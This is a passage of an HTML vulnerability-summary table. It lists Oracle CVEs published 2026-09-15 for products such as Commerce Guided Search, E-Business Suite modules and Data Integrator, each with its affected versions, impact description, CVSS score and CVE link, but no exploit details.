&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Commerce Guided Search / Oracle Commerce Experience Manager executes to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized update, insert or delete access to some of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83244&quot; target=&quot;_blank&quot;&gt;CVE-2026-83244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Commerce Guided Search / Oracle Commerce Experience Manager executes to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83247&quot; target=&quot;_blank&quot;&gt;CVE-2026-83247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Commerce Guided Search / Oracle Commerce Experience Manager executes to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. While the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83249&quot; target=&quot;_blank&quot;&gt;CVE-2026-83249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data as well as unauthorized update, insert or delete access to some of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83252&quot; target=&quot;_blank&quot;&gt;CVE-2026-83252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Endeca Application Controller). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Commerce Guided Search / Oracle Commerce Experience Manager executes to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83253&quot; target=&quot;_blank&quot;&gt;CVE-2026-83253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in takeover of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83257&quot; target=&quot;_blank&quot;&gt;CVE-2026-83257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83259&quot; target=&quot;_blank&quot;&gt;CVE-2026-83259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Common Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: CRM User Management Framework). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Common Applications. Successful attacks of this vulnerability can result in takeover of Oracle Common Applications. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83176&quot; target=&quot;_blank&quot;&gt;CVE-2026-83176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Common Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: CRM User Management Framework). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Common Applications. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Common Applications accessible data as well as unauthorized access to critical data or complete access to all Oracle Common Applications accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83185&quot; target=&quot;_blank&quot;&gt;CVE-2026-83185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Common Applications Calendar&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Common Applications Calendar product of Oracle E-Business Suite (component: Applications Calendar). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Common Applications Calendar. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Common Applications Calendar accessible data as well as unauthorized access to critical data or complete access to all Oracle Common Applications Calendar accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Common Applications Calendar. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83179&quot; target=&quot;_blank&quot;&gt;CVE-2026-83179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Common Applications Calendar&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Common Applications Calendar product of Oracle E-Business Suite (component: Applications Calendar). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Common Applications Calendar. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Common Applications Calendar accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Common Applications Calendar. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83186&quot; target=&quot;_blank&quot;&gt;CVE-2026-83186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Common Applications Calendar&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Common Applications Calendar product of Oracle E-Business Suite (component: Applications Calendar). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Common Applications Calendar. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Common Applications Calendar accessible data as well as unauthorized read access to a subset of Oracle Common Applications Calendar accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83187&quot; target=&quot;_blank&quot;&gt;CVE-2026-83187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Communications Cloud Native Core Security Edge Protection Proxy&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Communications Cloud Native Core Security Edge Protection Proxy product of Oracle Communications (component: SEPP). Supported versions that are affected are 26.1.200 and 25.2.201. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Communications Cloud Native Core Security Edge Protection Proxy. While the vulnerability is in Oracle Communications Cloud Native Core Security Edge Protection Proxy, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Communications Cloud Native Core Security Edge Protection Proxy accessible data as well as unauthorized access to critical data or complete access to all Oracle Communications Cloud Native Core Security Edge Protection Proxy accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83418&quot; target=&quot;_blank&quot;&gt;CVE-2026-83418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Communications Cloud Native Core Security Edge Protection Proxy&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Communications Cloud Native Core Security Edge Protection Proxy product of Oracle Communications (component: SEPP). Supported versions that are affected are 26.1.200 and 25.2.201. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Communications Cloud Native Core Security Edge Protection Proxy executes to compromise Oracle Communications Cloud Native Core Security Edge Protection Proxy. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Communications Cloud Native Core Security Edge Protection Proxy accessible data as well as unauthorized update, insert or delete access to some of Oracle Communications Cloud Native Core Security Edge Protection Proxy accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83417&quot; target=&quot;_blank&quot;&gt;CVE-2026-83417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Complex Maintenance, Repair and Overhaul&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Complex Maintenance, Repair and Overhaul product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.12-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair and Overhaul. While the vulnerability is in Oracle Complex Maintenance, Repair and Overhaul, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Complex Maintenance, Repair and Overhaul accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Complex Maintenance, Repair and Overhaul. CVSS 3.1 Base Score 8.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83425&quot; target=&quot;_blank&quot;&gt;CVE-2026-83425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Complex Maintenance, Repair and Overhaul&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Complex Maintenance, Repair and Overhaul product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Complex Maintenance, Repair and Overhaul. Successful attacks of this vulnerability can result in takeover of Oracle Complex Maintenance, Repair and Overhaul. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83445&quot; target=&quot;_blank&quot;&gt;CVE-2026-83445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Contract Lifecycle Management for Public Sector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO). Supported versions that are affected are 12.2.13-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector. Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87162&quot; target=&quot;_blank&quot;&gt;CVE-2026-87162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Contract Lifecycle Management for Public Sector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: ECC For Award and IDV). The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector. Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87165&quot; target=&quot;_blank&quot;&gt;CVE-2026-87165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Contract Lifecycle Management for Public Sector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO). Supported versions that are affected are 12.2.8-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Contract Lifecycle Management for Public Sector accessible data as well as unauthorized update, insert or delete access to some of Oracle Contract Lifecycle Management for Public Sector accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87149&quot; target=&quot;_blank&quot;&gt;CVE-2026-87149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Contracts&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Contracts product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.14-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contracts. Successful attacks of this vulnerability can result in takeover of Oracle Contracts. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83479&quot; target=&quot;_blank&quot;&gt;CVE-2026-83479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Contracts&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Contracts product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.14-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Contracts. Successful attacks of this vulnerability can result in takeover of Oracle Contracts. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83481&quot; target=&quot;_blank&quot;&gt;CVE-2026-83481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Contracts&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Contracts product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.14-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Contracts. Successful attacks of this vulnerability can result in takeover of Oracle Contracts. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83482&quot; target=&quot;_blank&quot;&gt;CVE-2026-83482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle CRM Technical Foundation&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Application Framework). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle CRM Technical Foundation. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle CRM Technical Foundation accessible data as well as unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83174&quot; target=&quot;_blank&quot;&gt;CVE-2026-83174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Customer Interaction History&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Customer Interaction History product of Oracle E-Business Suite (component: Outcome-Result). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Customer Interaction History. Successful attacks of this vulnerability can result in takeover of Oracle Customer Interaction History. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83164&quot; target=&quot;_blank&quot;&gt;CVE-2026-83164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Customer Interaction History&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Customer Interaction History product of Oracle E-Business Suite (component: User Interface). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Customer Interaction History. Successful attacks of this vulnerability can result in takeover of Oracle Customer Interaction History. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83165&quot; target=&quot;_blank&quot;&gt;CVE-2026-83165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Customer Interaction History&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Customer Interaction History product of Oracle E-Business Suite (component: Outcome-Result). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Customer Interaction History. While the vulnerability is in Oracle Customer Interaction History, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Customer Interaction History accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83166&quot; target=&quot;_blank&quot;&gt;CVE-2026-83166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Data Integrator&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83232&quot; target=&quot;_blank&quot;&gt;CVE-2026-83232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
